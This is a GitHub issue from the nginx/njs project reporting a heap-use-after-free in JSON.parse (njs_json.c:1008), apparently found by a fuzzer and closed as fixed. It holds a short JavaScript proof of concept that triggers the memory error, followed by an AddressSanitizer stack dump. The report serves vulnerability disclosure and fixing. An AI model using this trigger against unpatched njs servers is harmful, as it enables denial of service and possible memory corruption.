nginx / njs Public

Code Issues 41 Pull requests 2 Actions Security Insights

New issue

Jump to bottom

illegal memory copy in njs_json_parse_iterator_call of njs_json.c:1008 #480

Closed Q1IQ opened this issue on Mar 2 · 0 comments

Assignees

Labels bug fuzzer

Q1IQ commented on Mar 2

Environment

```
OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022
x86_64 x86_64 x86_64 GNU/Linux
Commit  : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build   :
          NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
          NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```

Proof of concept

```
function main() {
const a2 = Array(50189);
const a3 = {};
const a4 = [a3,a2,a3];
const a7 = JSON["stringify"](a4);
const a9 = Error.bind();
const a11 = JSON["parse"](a7,...a9);
}
main();
```

Stack dump

```
=================================================================
==560434==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f40eb8c67f0 at pc
0x00000049564a bp 0x7fff4b3fe7f0 sp 0x7fff4b3fdfb8
READ of size 16 at 0x7f40eb8c67f0 thread T0
    #0 0x495649 in __asan_memcpy (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x495649)
    #1 0x5310a1 in njs_json_parse_iterator_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:1008:24
    #2 0x5310a1 in njs_json_parse_iterator
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:966:15
    #3 0x5310a1 in njs_json_parse /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:163:16
    #4 0x53c9ec in njs_function_native_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
    #5 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #6 0x53be8a in njs_function_lambda_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #7 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #8 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
    #9 0x4c7f69 in njs_process_script
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
    #10 0x4c73a1 in njs_process_file
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
    #11 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
    #12 0x7f40eedea0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-
start.c:308:16
    #13 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)

0x7f40eb8c67f0 is located 524272 bytes inside of 1076024-byte region
[0x7f40eb846800,0x7f40eb94d338)
freed by thread T0 here:
    #0 0x495f7d in free (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x495f7d)
    #1 0x51dd3e in njs_array_convert_to_slow_array
/home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:164:5
    #2 0x4d7f9d in njs_array_property_query
/home/q1iq/Documents/origin/njs_f65981b/src/njs_value.c:779:19
    #3 0x4d7f9d in njs_object_property_query
/home/q1iq/Documents/origin/njs_f65981b/src/njs_value.c:663:27
    #4 0x4d7f9d in njs_property_query
/home/q1iq/Documents/origin/njs_f65981b/src/njs_value.c:622:15
    #5 0x530d9d in njs_json_parse_iterator
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:918:19
    #6 0x530d9d in njs_json_parse /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:163:16
    #7 0x53c9ec in njs_function_native_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
    #8 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #9 0x53be8a in njs_function_lambda_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #10 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #11 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
    #12 0x4c7f69 in njs_process_script
```

```
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
    #13 0x4c73a1 in njs_process_file
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
    #14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
    #15 0x7f40eedea0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-
start.c:308:16

previously allocated by thread T0 here:
    #0 0x496c97 in posix_memalign (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x496c97)
    #1 0x61f62c in njs_memalign /home/q1iq/Documents/origin/njs_f65981b/src/njs_malloc.c:39:11
    #2 0x4cf6a0 in njs_mp_alloc_large /home/q1iq/Documents/origin/njs_f65981b/src/njs_mp.c:588:13
    #3 0x51ea7d in njs_array_expand /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:389:13
    #4 0x51e8bb in njs_array_add /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:331:11
    #5 0x534c5f in njs_json_parse_array
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:515:15
    #6 0x534c5f in njs_json_parse_value
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:308:16
    #7 0x534c2e in njs_json_parse_array
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:510:13
    #8 0x534c2e in njs_json_parse_value
/home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:308:16
    #9 0x5304ba in njs_json_parse /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:146:9
    #10 0x53c9ec in njs_function_native_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
    #11 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #12 0x53be8a in njs_function_lambda_call
/home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #13 0x4e50ab in njs_vmcode_interpreter
/home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #14 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
    #15 0x4c7f69 in njs_process_script
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
    #16 0x4c73a1 in njs_process_file
/home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
    #17 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
    #18 0x7f40eedea0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-
start.c:308:16

SUMMARY: AddressSanitizer: heap-use-after-free
(/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x495649) in __asan_memcpy
Shadow bytes around the buggy address:
  0x0fe89d710ca0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710cb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710cc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710cd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710ce0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0fe89d710cf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
  0x0fe89d710d00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710d10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710d20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710d30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0fe89d710d40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
```

```
    Heap left redzone:       fa
    Freed heap region:       fd
    Stack left redzone:      f1
    Stack mid redzone:       f2
    Stack right redzone:     f3
    Stack after return:      f5
    Stack use after scope:   f8
    Global redzone:          f9
    Global init order:       f6
    Poisoned by user:        f7
    Container overflow:      fc
    Array cookie:            ac
    Intra object redzone:    bb
    ASan internal:           fe
    Left alloca redzone:     ca
    Right alloca redzone:    cb
    Shadow gap:              cc
==560434==ABORTING
```

Credit

Q1IQ(**@Q1IQ**)

xeioex added bug fuzzer labels on Apr 6

xeioex self-assigned this on Apr 27

nginx-hg-mirror closed this as completed in `2ad0ea2` on May 4

Assignees

xeioex

Labels

bug fuzzer

Projects

None yet

Milestone

No milestone

No milestone

Development

No branches or pull requests

2 participants